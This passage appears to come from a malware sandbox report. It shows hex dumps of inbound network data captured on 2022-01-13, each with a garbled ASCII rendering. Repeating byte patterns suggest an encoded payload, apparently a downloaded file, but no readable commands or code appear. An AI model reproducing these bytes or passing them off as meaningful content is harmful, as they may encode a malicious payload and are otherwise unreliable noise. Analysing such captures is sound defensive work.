1a 91 a9 6e 27 0e ff 2c bd ba 74 58 46 33 31 64 21 01 8a a9 02 5c 6b e5 b7 4d c2 25 76 5d fe aa a4 e3 9e f5 3a d8 7e 4f a3 61 8e 92 87 23 1d 18 b9 b1 50 29 5e 08 Data Ascii: )B)B)B)B)B)B)B)BWv\q1LYQlfJ:h}s$lf)s5AICM{9&:P1e#-zbppQ-OxAQs\|JWtXlY=0BV0&&n',tXF31d!\kM%v]:~Oa#P)^
2022-01-13 19:22:56 UTC	1207	IN	Data Raw: 6b eb f5 3b 84 b1 0f 34 bc 35 12 b2 c2 2e d8 7f 40 cc 16 a1 75 d2 0c bb b7 44 d3 82 ae d0 11 34 fa a8 c1 aa f9 36 ca 1e bb bf 82 be 05 ca 22 8a 98 80 7e 47 7c 42 0f 31 a5 6d 34 ed 1b 15 c1 a5 90 90 67 fa 2c ff a5 63 76 5b 00 5e 95 04 d9 fe 3f 45 21 07 6a 64 dc 79 61 88 04 46 8e 94 26 8a 1c 90 27 08 04 46 7a 40 80 b5 09 cd fb 25 25 0c 80 b6 44 cb 3d 5a 76 58 68 7b d1 82 72 50 c1 a7 c4 2e 49 bd e7 d3 b8 cd 81 37 4a 39 41 4a 28 f2 9f 7a 6d eb e7 d5 ac d7 cb 9b 34 e9 eb c2 16 a9 a1 7d 07 c6 e9 dd 22 82 68 7f ea 5f 5d 87 f0 4a d4 0c 59 ad 67 cc fb 13 12 7f 01 ea 6e 64 95 0d bc 37 c7 9f ea 51 05 cc b1 4f 01 d5 2d 74 e6 5a a5 6a d4 02 ee 48 79 cb d3 84 fa ae 9b 00 06 4a 61 81 63 fc f4 bb d8 79 ae d6 14 ab 30 ed c2 2a c5 a2 1e 94 d2 07 91 17 57 96 a1 71 1a 9c 71 Data Ascii: k;45.@uD46"~G\|B1m4g,cv[^?E!jdyaF&'Fz@%%D=ZvXh{rP.I7J9AJ(zm4}"h_]JYgnd7QO-tZjHyJacy0*Wqq
2022-01-13 19:22:56 UTC	1211	IN	Data Raw: fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 bb ea 0f 60 78 02 0d 56 26 bc 08 79 c6 2d 22 c3 f6 fb 72 16 98 dd bf e6 09 9d 25 75 98 f1 89 72 0a 37 61 be 0c ee 05 86 90 d2 50 77 a6 a3 3f 12 e6 17 7b ae e9 ec 72 64 37 00 0d 68 0d 70 0e e6 0c f0 1a f7 0b 00 68 37 11 62 02 18 f3 63 aa 92 ca 71 e2 5c 33 3c 9c b8 ab 07 90 c8 42 92 e8 1d 46 62 28 b2 93 7b f8 8d 20 cb dd b0 88 e7 a4 aa 81 77 9d 02 09 9d 22 e0 58 2a c5 9c a5 3b 1f 43 3e bd fe ff 5b c8 42 88 e7 a6 b2 94 ce 63 c3 97 36 df b1 1e df ba 46 56 52 78 36 a6 b6 89 65 86 f5 60 5d e5 e3 de 53 e7 82 e3 b0 a4 b5 37 13 66 19 66 28 b2 80 c2 70 06 14 c7 a0 ca 27 3e 9d 2f 34 f5 34 e8 1d 5d d7 a1 20 c1 93 Data Ascii: )B)B)B)B)B)B)B)B)B)B)B)B)B`xV&y-"r%ur7aPw?{rd7hph7bcq\3<BFb({ w"X*;C>[Bc6FVRx6e`]S7ff(p'>/44]
2022-01-13 19:22:56 UTC	1215	IN	Data Raw: 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 Data Ascii: B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B
2022-01-13 19:22:56 UTC	1219	IN	Data Raw: 3a 53 50 c5 63 19 c7 76 92 4d 4f 40 0a 9b e0 83 f5 e3 3f ad 98 5e dc ae 16 70 87 f6 77 02 80 69 2f be e2 b0 12 7e 8e 4d 6d 2a 36 2d b4 01 1d dd 2e 27 d4 d2 c6 c2 c9 42 05 34 1c 7c 85 bb 32 1b dc fd af a1 b3 9f a3 bb 79 0b ff e3 21 d9 20 46 61 3f f2 01 ea 91 d6 bd 8a 99 3a e8 69 d0 34 db cd ae e9 ec 72 64 45 80 8b 1b 23 35 71 e2 5c 33 3d 6f dd d1 27 3e f1 fd a4 c5 89 0b f2 dc 3d e7 18 b6 66 a5 aa d1 28 2b b8 b6 50 f7 f4 e8 d7 36 20 20 69 3d 90 15 c7 45 7f cf 69 33 a6 0e 66 af 94 48 ef 11 f2 73 0b e9 13 ee 85 e2 a3 aa 14 7b 07 0c 75 1f d3 47 7f f9 f0 84 73 1a 5e fd f4 7b 07 40 14 69 2f ab 9a 4b 71 00 8a 7b 07 20 79 23 57 2a 47 07 f7 f4 7b 07 f7 0b 00 68 4e 14 94 af 6b d5 bf 8f 24 48 f8 72 61 be 0c 82 9e c5 9c c1 f3 36 eb bf 37 2d 07 9a 51 f7 67 5a d2 b0 64 Data Ascii: :SPcvMO@?^pwi/~Mm6-.'B4\|2y! Fa?:i4rdE#5q\3=o'>=f(+P6 i=Ei3fHs{uGs^{@i/Kq{ y#WG{hNk$Hra67-QgZd
2022-01-13 19:22:56 UTC	1223	IN	Data Raw: 1f 2c c9 e9 6c d7 44 91 ad e3 5a b2 78 fb 99 f3 ab cb 00 99 fa 51 5b 4e aa 5e 87 71 77 7a e3 ce 30 d2 39 5b b1 70 60 d6 e1 79 40 0a bc ca cb 56 9a 02 8a 66 f2 3f 95 cd 00 db 01 15 bb 35 91 d6 e4 cd 11 fc 37 c4 a9 99 a7 fa 25 fc 00 ff 87 b4 67 5d 27 b7 f3 8c 10 0c 12 1f bc 50 93 a7 d3 fc 1f a5 dc 0d 97 a5 c6 1f 2c c9 a5 54 22 b3 74 69 d0 34 db cc 2b 47 85 0f 09 fb 13 13 12 8f 24 b7 82 78 8e a2 31 ab 9d 43 83 f5 f9 0f 09 fb 13 12 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 2a c5 9c c1 9c c1 93 2d 2e b5 00 10 53 3f d3 1b dc f0 c4 a5 aa 32 04 a2 31 b1 95 d7 3b 95 cd 51 64 ba fb ec 8d dc b3 8b e4 97 c0 ee 96 17 b9 24 93 2d 4b 8e 29 61 9d 60 c3 23 80 51 64 8d ec 8d df 13 de ac 1a 65 0b ff e3 1f e0 a7 a6 69 1c 59 Data Ascii: ,lDZxQ[N^qwz09[p`y@Vf?57%g]'P,T"ti4+G$x1C$}2B)B)B)B)B*-.S?21;Qd$-K)a`#QdeiY
2022-01-13 19:22:56 UTC	1227	IN	Data Raw: 51 64 ba ba ba fb ec b7 b8 00 97 fd d3 44 01 26 70 9f b7 8b ed 0b ff e3 21 ce cf 4d 6d 26 43 83 f5 f9 f0 84 73 19 e0 a7 a6 28 3f 8c 61 41 87 ec 8d df 2a 03 28 19 e0 34 b5 de ac 7c dc b0 12 16 5d 49 76 f4 48 f8 72 fd d4 c2 ea f7 c7 5f 45 19 d3 44 01 73 2a 3a 17 83 c6 e1 25 a3 9d bc f7 92 67 33 a6 4e d8 b9 7e aa 02 82 78 c1 43 95 cd ae 61 53 60 3c 7d 0b ff 64 81 f2 7f b9 39 de 1b 51 e9 9e c5 63 3c 13 12 8f 24 b7 77 ef f9 0f 49 89 17 1a 73 a0 8c f6 77 6c d4 82 78 c1 23 ca d8 ec d8 b9 7e db 69 2f af f5 98 47 7a ef 60 c3 68 d5 24 48 f8 2c 68 b1 8f 83 ad 98 47 28 6d 26 43 cf 01 15 e9 2b f8 72 9b f0 b8 00 97 fa 57 57 57 7d 29 bd 75 14 6b 2a 3a 17 e5 1c 59 52 e2 a3 ae 16 67 33 a6 28 3f 8c 61 41 87 ec 8d df 2a 3a 17 e5 1c 59 52 e2 a3 ae 16 e1 a3 f7 f4 22 e5 a5 aa Data Ascii: QdD&p!Mm&Cs(?aA(4\|]IvHr_EDs:%g3N~xCaS`<}d9Qc<$wIswlx#~i/Gz`h$H,hG(m&C+rWWW})uk:YRg3(?aA:YR"
2022-01-13 19:22:56 UTC	1243	IN	Data Raw: fc 96 b4 f6 88 95 32 d6 42 fa 91 29 40 3d 6f dd d5 b6 fb 12 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 40 4d 92 ab 66 40 f5 07 f7 0b 00 68 4e 14 94 af 6b d5 bf 8f 24 b7 7d fc 94 07 f7 0b 04 79 f4 85 0e 87 13 12 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 40 6d d9 c8 27 37 61 bf 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 40 7d fc 96 b0 e4 61 bf 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 40 8d 20 ae ed fd 18 9c c1 93 2d 4b 8e a2 ce 30 d2 39 66 49 89 17 1a a1 4e 7c 7a 76 69 d9 c8 22 b3 74 68 4e 14 94 af 6b d5 bf 8f 24 b7 7d fc 96 b6 a3 51 9b 3b 63 c3 96 b4 f6 88 95 32 d6 42 fa 91 29 42 fa 91 29 42 fa 93 65 c7 a0 ce 39 66 48 07 f7 0b 00 68 4e 14 94 af 6b d5 bf 8f 24 b7 7d fe a2 ce 30 d6 4b 8e a3 51 9b 3f 73 e6 65 c7 a0 ca 27 3e f1 fd 18 9d 43 7e 57 a8 Data Ascii: 2B)@=o$}2B)@Mf@hNk$}y$}2@m'7a$}2B)@}a$}2B)@ -K09fIN\|zvi"thNk$}Q;c2B)B)Be9fHhNk$}0KQ?se'>C~W
2022-01-13 19:22:56 UTC	1255	IN	Data Raw: fa 91 29 42 fa 90 ae e9 ec 72 65 87 13 85 ee 77 ef f9 0e c7 a0 5d 56 26 bc 08 78 31 54 b5 98 b8 ff 1c a7 19 1f bb 66 49 89 17 1b 63 c3 07 47 85 0e 87 12 cf b2 b7 0d 04 70 60 3d 2f 50 26 fc 96 b4 f6 89 57 a8 e3 ee 77 ef f9 0e c7 a0 8f 14 94 af 6b d4 7d fc 07 e7 e7 e7 e7 e6 25 3a d7 f4 84 8c 9e c4 5a 2f c0 f1 fd 18 9d 42 ba 04 e0 b8 ff 1c a6 d6 02 6c c7 20 ae e9 ec 73 a6 d7 16 f8 8d 20 ae e8 29 42 2b 87 13 12 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa Data Ascii: )Brew]V&x1TfIcGp`=/P&Wwk}%:Z/Bl s )B+$}2B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B)B
2022-01-13 19:22:56 UTC	1271	IN	Data Raw: 0b 00 18 fe 19 57 d8 3d e4 29 42 fa d0 0f 1c 59 65 4c 58 f8 be cb 22 ff 1c a6 95 0b 15 e9 f8 f9 f0 fe d2 39 66 49 89 a7 f8 0e cf 6b 5e 70 60 3c ec c2 ac 6e 13 32 3a 6b 9d 14 9c e5 bf 06 3d a3 9d 8f e8 a5 99 f6 4b d5 bf 8f 24 57 6c d6 0a 7e 7f 01 fa 79 d4 19 53 12 c7 5f 45 79 2a 2d 6b f1 b1 fd 50 19 1f 6e f7 1e 55 6f 56 6e a4 2c 20 df 3d 6f dd d1 16 bc 84 01 a2 ce 30 d2 b1 e3 53 d7 d0 40 f5 06 75 eb 30 69 50 e6 9a 54 ac 0d 64 61 f2 0d 4c 58 79 79 bc 06 01 ea 6e 5b b1 f0 c0 91 d6 bd 63 66 a1 6c 73 aa 6d 91 21 62 cc 63 cd da 4a 4b f5 86 90 a6 95 5f af 94 64 ce 78 8e 5d 4f 11 e5 c3 b3 38 69 98 61 35 15 16 98 b8 1f c0 90 ee 24 f7 c7 6c 9b f3 ce fc 25 d1 49 bb c6 46 27 62 ca 6f 1e f7 55 fb 4f d6 1f 6d 87 52 42 bb 86 90 a7 29 86 11 45 80 83 0b c8 07 6b 5e 70 60 Data Ascii: W=)BYeLX"9fIk^p`<n2:k=K$Wl~yS_Ey*-kPnUoVn, =o0S@u0iPTdaLXyyn[cflsm!bcJK_dx]O8ia5$l%IF'boUOmRB)Ek^p`
2022-01-13 19:22:56 UTC	1287	IN	Data Raw: 8e 4a 0b 20 8a fd 9b 77 c7 84 e0 d1 fe 9a bd 8a 9a 8d 04 34 1c 68 c5 d4 05 d7 88 1c 6f ee 32 1d 66 46 d8 c3 40 7e ff 1b 23 35 94 2e cd ae 6e 56 23 b8 b3 bf 38 eb f0 7b fa 0d bf 70 9f b7 1d c0 df 5e 70 60 1c 82 e3 5d fe 4d 19 37 45 ec fb 5b 78 42 bf 8f 24 b7 7f 31 70 24 70 60 3c 6b e9 e9 61 f2 00 6f df 49 b1 54 66 8e 96 c1 53 1a 79 7f 01 ea 6e d3 9f e4 ea 26 bc 08 fb 1a b4 09 0a f5 4e ee fc c6 f2 03 a6 80 9b 1b 57 21 79 e4 45 ec fb 5b b9 a5 09 72 2c 05 3f bf 43 b0 21 f2 d8 82 04 38 1b dc b1 cb 41 58 0e c3 1e e2 5c 33 59 2d 6f 59 26 f4 ac c1 d7 4d da 4a 0b 00 e0 7c fe 11 45 b0 c9 e1 53 9f 48 07 67 e8 ed 7f 39 42 be 85 0e 87 13 8a bd 0e 0c da a6 54 6a 9e 09 37 ad ab ae 25 f6 77 10 75 8b f3 02 6c 57 28 e4 ed 79 bc f7 f4 7f 94 47 85 0e 87 93 09 77 62 09 fb 13 Data Ascii: J w4ho2fF@~#5.nV#8{p^p`]M7E[xB$1p$p`<kaoITfSyn&NW!yE[r,?C!8AX\3Y-oY&MJ\|ESHg9BTj7%wulW(yGwb
2022-01-13 19:22:56 UTC	1303	IN	Data Raw: b4 97 52 74 46 03 ed f4 84 8c 96 b4 f6 8a a5 60 18 fc e2 3d 0b 69 fe 9a be 0c 82 87 1b 23 35 58 ce 07 d3 da 3e 90 c2 7c 54 22 b0 ed f4 84 8a 99 3a e1 9a bd 8a 99 3a 9b 4c 72 4a 0b 03 ee 77 ef fb 13 12 8f 14 94 af 6b b4 82 e6 01 c4 1a a2 ce 30 d2 38 e4 61 a6 27 3e f1 fd 6c 2f 35 29 6c 57 ab 62 41 78 79 f4 84 88 55 92 8f 45 f4 e5 87 7a 58 2a c6 1e aa e0 50 19 1f 2c 25 0e a3 30 a6 b6 9f 21 1f 2c ca 27 3e f1 f5 06 75 e9 a8 e9 c8 42 8e c3 f3 6b fb 13 11 0d 04 70 68 4e 14 91 c1 a4 f7 6a 26 dd b5 11 23 35 5e 38 e4 61 b8 ff 1c af 2b 47 85 0e 87 60 4f f5 28 c0 12 8f 24 b7 7f 01 ea 6e 6b d5 bf 8f 45 f4 e5 87 3d 6f de 53 9f 48 06 75 eb e8 81 05 f3 02 18 e5 86 e4 4f 97 35 5d b6 fb 1b 23 35 5e 24 81 21 50 6d b8 9b 56 08 79 f7 0b 00 68 46 03 ee 77 a3 65 e3 bf fb 72 00 Data Ascii: RtF`=i#5X>\|T"::LrJwk08a'>l/5)lWbAxyUEzX*P,%0!,'>uBkphNj&#5^8a+G`O($nkE=oSHuO5]#5^$!PmVyhFwer
2022-01-13 19:22:56 UTC	1319	IN	Data Raw: 05 f3 02 6c 57 a8 dc 4e be 0c 82 87 13 12 8f 25 aa e0 58 2a c5 9c c1 93 2d 4b 8e a2 ce 30 d2 39 66 d6 13 13 e1 da 4e 14 94 af 6b d5 bf 8d 07 f7 0b 00 68 4e 14 96 90 f7 0b 01 ea 6e 5b b1 70 60 3e d5 bf 8f 24 b7 7d fc 94 b8 60 6d d8 b5 78 75 eb f0 7b f8 8d 20 ac f2 80 83 0a 7e 7f 01 e8 7d ad 67 cd ae e9 ec 72 64 45 82 93 2d 4b 8e a2 ce 30 d0 3b f5 57 a9 ad 67 c8 23 35 5d b6 fb 13 10 84 8c 9e c5 9c c1 93 2f 5c 62 41 79 f4 84 8c 9e c5 9c c3 9b 3f 73 e6 65 c7 a0 c8 23 aa b1 71 11 0d 00 68 4e 14 94 af 6b d7 c4 1a a1 4c 10 8b 1b 22 5f eb f0 7a 76 6d d9 c8 23 35 5c df d5 bf 8f 24 b7 7d fd fa 0e d6 43 8f 24 b3 74 68 4e 14 94 af 6a b0 ed f4 84 8c 9e c5 9d fd 49 89 16 98 b8 ff 1c a6 d7 c5 22 b3 74 68 4e 14 94 ae 5d 29 13 13 e1 da 4e 14 94 af 6b d5 bf 8e 16 98 b8 ff Data Ascii: lWN%X*-K09fNkhNn[p`>$}`mxu{ ~}grdE-K0;Wg#5]/\bAy?se#qhNkL"_zvm#5\$}C$thNjI"thN])Nk
2022-01-13 19:22:56 UTC	1335	IN	Data Raw: f5 75 8d 45 e4 15 64 26 bc 08 78 71 81 2b 23 47 ed 80 f0 17 6e 5b b1 15 72 11 61 dd bf e6 4a 39 55 d3 dc 21 58 47 a8 e8 5f cd 83 3e c7 ff 2a fd 60 13 26 8a f4 e0 2c e4 0f 60 5d de 30 be 63 ac 91 04 04 03 81 6d f6 fa f4 f0 08 18 f0 18 fe fd 37 17 7f 65 b4 85 61 cc 48 28 fa d2 39 12 fd 7b d7 b0 9f 2b 6a 66 7f 76 40 82 e0 36 b6 96 9b 4b e7 80 ae da 3c c1 a7 6f aa cd d9 af 05 9a d0 1b 40 87 60 13 64 20 ca 54 51 f4 f6 eb df ef ba 05 f3 02 6d d9 c8 23 34 da 4b 8f 24 ba 0a 85 0f 08 79 f4 84 65 c7 a2 ce 30 d3 cf b3 75 eb f3 00 7c 7b f1 fe 9a bd 8a 99 53 57 8d 90 a4 da 4a 0b 00 68 4f 97 55 8a a9 6f ad 01 b5 2c 9b 7c 7a 76 19 6d ba 2b 33 2b 24 9a 89 21 46 2e ba 63 ad 0e ea 41 0c eb 97 1b 10 fd 35 69 e6 12 a2 b9 e6 0b 69 bd a5 36 ad 14 bb f0 1e ce 43 0f 66 3b 09 d4 Data Ascii: uEd&xq+#Gn[raJ9U!XG_>*`&,`]0cm7eaH(9{+jfv@6K<o@`d TQm#4K$ye0u\|{SWJhOUo,\|zvm+3+$!F.cA5ii6Cf;
2022-01-13 19:22:56 UTC	1351	IN	Data Raw: 5e 38 aa af 22 e7 a4 96 e7 b8 b3 35 1e e3 8a d0 66 0a 7d fc 96 b7 4f 8a ef fc 96 fa de 1a f5 45 c5 cf ed b8 be 4f de 07 be 5e 7b a7 15 42 a8 d9 c8 23 37 5b b9 89 17 1a a2 34 c6 40 f0 7b bf da 08 3c a8 83 44 b1 39 32 95 77 bc 57 e4 20 ed bd de 1a f3 41 27 72 30 80 d3 be 0c 82 84 be 04 78 71 c2 15 16 99 9d 5e 4d 97 36 ab 0c f7 64 06 1b 4a 7b ab 65 df d5 bf 8e 67 d1 c2 10 8b 7e 0d 6b bd fa f0 16 fd 4b e5 80 ec 3e f6 98 b8 ff 1d ed e9 9f 4d 92 cf d3 de 21 59 f9 68 20 c7 ce 47 ca 20 a2 ce 30 d3 03 f3 70 65 c7 d4 53 ea 01 a9 30 bd e3 ad 15 63 a0 af 39 61 b6 fb 13 13 aa fd 69 d5 bf fb 7d 89 78 32 bd e9 83 46 04 70 60 3c ef 2f 4d e2 59 ad 08 1f 42 b3 13 67 ae 8c da 4d 92 ab 61 6e 46 6c 52 35 5d f8 c2 5c 67 8f 61 ed ab 2e 8c dd 98 ec 3b 38 a7 06 39 32 84 d3 bd 8a Data Ascii: ^8"5f}OEO^{B#7[4@{<D92wW A'r0xq^M6dJ{eg~kK>M!Yh G 0peS0c9ai}x2Fp`</MYBgManFlR5]\ga.;892
2022-01-13 19:22:56 UTC	1367	IN	Data Raw: 2b c4 18 9d 26 d1 d9 80 b1 20 a6 d7 c4 1a a4 53 99 b8 fd 18 f8 e0 37 29 73 b6 f3 02 6c 52 19 19 9e c7 a4 03 ee 23 6d 9c 95 7c 35 1e f5 0d 04 70 62 56 2e c9 ad 6d d9 e8 69 d0 3d d8 4f 00 6a 52 73 89 7e 0b 61 d3 c9 ca 41 16 d1 d8 29 2b 33 29 27 5d ce 75 e3 c6 1e aa e5 ff 15 80 81 05 80 f1 98 cc 4e 79 95 40 94 ff 6e 3e 93 40 80 cd a6 c7 a0 ca 22 3c e5 76 6f dd a2 bd ef 8b 7f 65 86 fe f5 6f a9 2e a8 bf f7 4e 1c ae e9 ec 73 b9 88 01 e8 69 d0 34 52 14 90 a6 d7 c1 8f 2d d8 44 fe e9 8b 7a 1a e7 89 78 18 e9 9c a4 b0 95 77 e7 e7 e7 e7 e2 40 fc 04 72 64 20 ca 48 44 90 c9 cc 5f ca 42 99 42 bf 87 13 12 8d 2f 59 3c ee ef f9 4b dc 00 2b 02 3e ae a7 16 d1 e2 0c c7 e3 86 d5 e0 5f ba 04 71 87 1b 27 3e f1 fd 18 64 43 7c 7a 77 b0 e8 69 d0 35 09 f3 06 75 99 5b d9 ab 42 9e a0 Data Ascii: +& S7)slR#m\|5pbV.mi=OjRs~aA)+3)']uNy@n>@"<voeo.Nsi4R-Dzxw@rd HD_BB/Y<K+>_q'>dC\|zwi5u[B
2022-01-13 19:22:56 UTC	1383	IN	Data Raw: 5f d5 d7 b7 78 73 e4 61 cc 4a 63 a0 ea 0a 1b 4d f5 6f ae ef f8 8f 24 b7 7f 04 e9 e9 ec 36 96 fb 45 d0 78 72 64 31 35 32 ba 62 45 84 8e a2 ce 31 77 62 44 fe de 01 a5 02 28 c3 97 36 df 0b 8c 9b 3f 37 33 16 cf b1 70 60 3d 57 23 30 d2 7c 2e 94 ed f7 0b 00 68 ba 7b fd 18 d1 f9 40 b7 33 10 dc 4c 10 8f ec 72 64 40 87 15 d0 37 61 ce 59 ff 71 8d 52 5b df ba 6d ad 17 7f 62 39 23 41 0b 61 f2 8a 9d 83 0a 7e 7a 04 76 a8 df d5 cf db 9f 27 6a 3c 83 63 b7 0d 61 dd a9 1b 57 db ac a9 54 26 04 70 60 39 14 92 6f de 53 ef 90 f4 e9 83 78 37 09 98 d6 23 47 c7 d4 4e 75 a7 53 9b 8f 24 b7 78 03 e8 aa e3 de 23 5c 61 d1 e2 34 b8 91 48 75 a9 2a b6 9a f1 f7 0f a1 4c 10 8e d0 32 14 97 36 b3 1b 51 ef 97 59 ee 10 fe f8 e8 2d 41 7c da 4a 0b 05 81 03 2f 53 9f 24 d8 34 af 05 9c 82 f5 69 a4 Data Ascii: _xsaJcMo$6Exrd152bE1wbD(6?73p`=W#0\|.h{@3Lrd@7aYqR[mb9#Aa~zv'j<caWT&p`9oSx7#GNuS$x#\a4Hu*L26QY-A\|J/S$4i
2022-01-13 19:22:56 UTC	1399	IN	Data Raw: 83 0a 7e 7f 01 ea 6e 5b b1 70 60 3c ec 72 64 45 80 83 0a 7e 7f 01 ea 6e 5b b1 70 60 3c ec 72 64 45 80 83 0a 7e 7f 01 ea 6e 5b b1 70 60 3c ec 72 64 45 80 83 0a 7e 7f 01 ea 6e 5b b1 70 60 3c ec 72 64 45 80 83 0a 7e 7f 01 ea 6e 5b b1 70 60 3c ec 72 64 45 80 83 0a 7e 7f 01 ea 6e 5b b1 70 60 3c ec 72 64 45 80 83 0a 7e 7f 01 ea 6e 5b b1 70 60 3c ec 72 64 45 80 83 0a 7e 7f 01 ea 6e 5b b1 70 60 3c ec 72 64 45 80 83 0a 7e 7f 01 ea 6e 5b b1 70 60 3c ec 72 64 45 80 83 0a 7e 7f 01 ea 6e 5b b1 70 60 3c ec 72 64 45 80 83 0a 7e 7f 01 ea 6e 5b b1 70 60 3c ec 72 64 45 80 83 0a 7e 7f 01 ea 6e 5b b1 70 60 3c ec 72 64 45 80 83 0a 7e 7f 01 ea 6e 5b b1 70 60 3c ec 72 64 07 e7 e7 a7 59 ad 67 cc 2b 47 85 0e 87 13 12 8f 24 b6 b3 74 68 4e 12 8f 24 b5 68 4e 14 94 aa b0 ed f4 84 8c Data Ascii: ~n[p`<rdE~n[p`<rdE~n[p`<rdE~n[p`<rdE~n[p`<rdE~n[p`<rdE~n[p`<rdE~n[p`<rdE~n[p`<rdE~n[p`<rdE~n[p`<rdE~n[p`<rdE~n[p`<rdYg+G$thN$hN
2022-01-13 19:22:56 UTC	1415	IN	Data Raw: 45 80 83 0a d7 16 ab f2 80 87 d1 eb 15 9d af 36 54 ca 52 96 50 64 ce c3 d2 b3 aa 0b ff e2 ac 20 47 46 fc 69 d1 05 1b 23 75 fb 13 07 7c 3b 92 e6 ee 8b 5e b3 8b e5 14 15 fe 6e 1e 27 3e b0 a5 0c ea 7e f6 ec 2b 1e f0 bb b5 ae 9c 8f 20 6d 5a 68 4f 64 00 ae d1 3f 7b bd 01 e3 ab a2 4b 71 1d 32 ac 0d 54 dd 2f ac 95 da 49 02 3c 13 ec 8e da a2 3a ad ec 8e ff 97 c9 96 f2 b0 91 df 50 57 ee 8f 51 10 8b e8 2c 0f 29 cb cd 9e 3a 8c 9e 84 c4 48 6f 88 55 97 c9 5b 4d 03 06 81 40 7e 80 7c 79 99 d2 39 26 ac e5 f6 03 12 ca ac a4 2b 0a f5 fa d4 b4 0e d2 b0 19 52 94 6b 5e c1 ea 38 af f3 36 54 25 42 21 b4 2c 42 ad 31 07 07 33 da a6 5c 66 8a c4 43 25 d8 ad 98 46 f2 fe 73 25 c5 63 cb 01 02 6c 16 de 97 23 be f0 3e 7c 85 f0 83 3c 04 88 d0 b9 81 44 b9 21 59 bd 03 8a c0 48 5d 76 5e c7 Data Ascii: E6TRPd GFi#u\|;^n'>~+ mZhOd?{Kq2T/I<:PWQ,):HoU[M@~\|y9&+Rk^86T%B!,B13\fC%Fs%cl#>\|<D!YH]v^
2022-01-13 19:22:56 UTC	1431	IN	Data Raw: 5b 87 4f 97 76 5b e9 ec 32 e0 14 94 ef e9 e0 58 2a c5 b8 ff 5d be 84 8c 9e c5 9c c1 93 2d 4b 8e a2 ce 30 d2 39 66 49 89 17 1a a1 4c 10 8b 1b 23 35 5d b6 fb 52 15 9e 05 78 05 80 ea 22 e7 e2 5c 72 75 7f 01 ab 73 f2 80 c2 06 45 80 c2 07 a7 59 ec 62 81 05 b3 47 6d d9 88 a6 1b 23 75 dd 85 0e c7 96 d4 3d 2f 66 15 16 d8 70 38 e4 21 07 bb 86 d0 24 bb 86 90 a6 c7 a0 8b 13 26 bc 08 79 f4 84 8c 9e c5 9c c1 93 2d 4b 8e a2 ce 30 d2 39 66 49 89 17 1a a1 4c 10 8b 1b 62 49 ad 67 8c 13 60 53 ed 86 d5 cb da 23 79 93 43 15 64 31 07 b2 e2 5c 73 d2 1d 28 80 b0 05 f3 42 c9 69 d0 74 5e 6c 57 e8 5f da 4a 4b b8 a3 51 db fb 4b 8e e2 6a 1e aa a0 ac c5 9c c1 93 21 31 15 11 c9 a5 55 a4 d3 bb 86 90 a6 d7 c4 1a a1 4c 10 8b 1b 23 35 5d b6 fb 13 12 8f 24 b7 7d fc 96 f5 01 2e 5d c4 75 99 Data Ascii: [Ov[2X*]-K09fIL#5]Rx"\rusEYbGm#u=/fp8!$&y-K09fILbIg`S#yCd1\s(Bit^lW_JKQKj!1UL#5]$}.]u
2022-01-13 19:22:56 UTC	1447	IN	Data Raw: 1d 63 c1 7f 44 7d ec 73 f6 dd 5a c7 e5 68 a6 92 22 57 ed f7 fb 56 ad 76 18 9e 3b e9 08 3c 65 00 df da 45 7f e6 e4 07 fb fd d9 3f c4 15 2e 46 65 2b 02 e7 a4 e6 17 c1 16 d3 63 48 f8 72 01 de bb 86 d0 fc 0e b2 2a 19 72 bb 66 0c 0b c0 22 6f 98 31 5c db 4e 10 cb 22 47 c0 9a 51 de da 42 3a 6b 21 74 e3 2e 88 1c 5e 7d ff 1c 2d bf ca ac 9e 2e 39 23 bc f0 3e f2 80 83 0a de d3 30 d2 39 66 dc c9 aa e0 58 2a c5 38 5c b0 15 43 f5 0e d2 b2 fe df 5e 6f 8b 48 db 09 78 9d c8 76 ad ec 72 20 3d 27 1b dc 8c 9f 48 43 fb 8f 09 78 b1 fb d0 69 28 2b b8 00 19 45 69 13 12 cf 75 2f 38 f4 0d 60 65 9e 9f 88 a6 d7 80 04 ec 77 10 ab eb 94 9f b7 19 1f 6c 90 1b 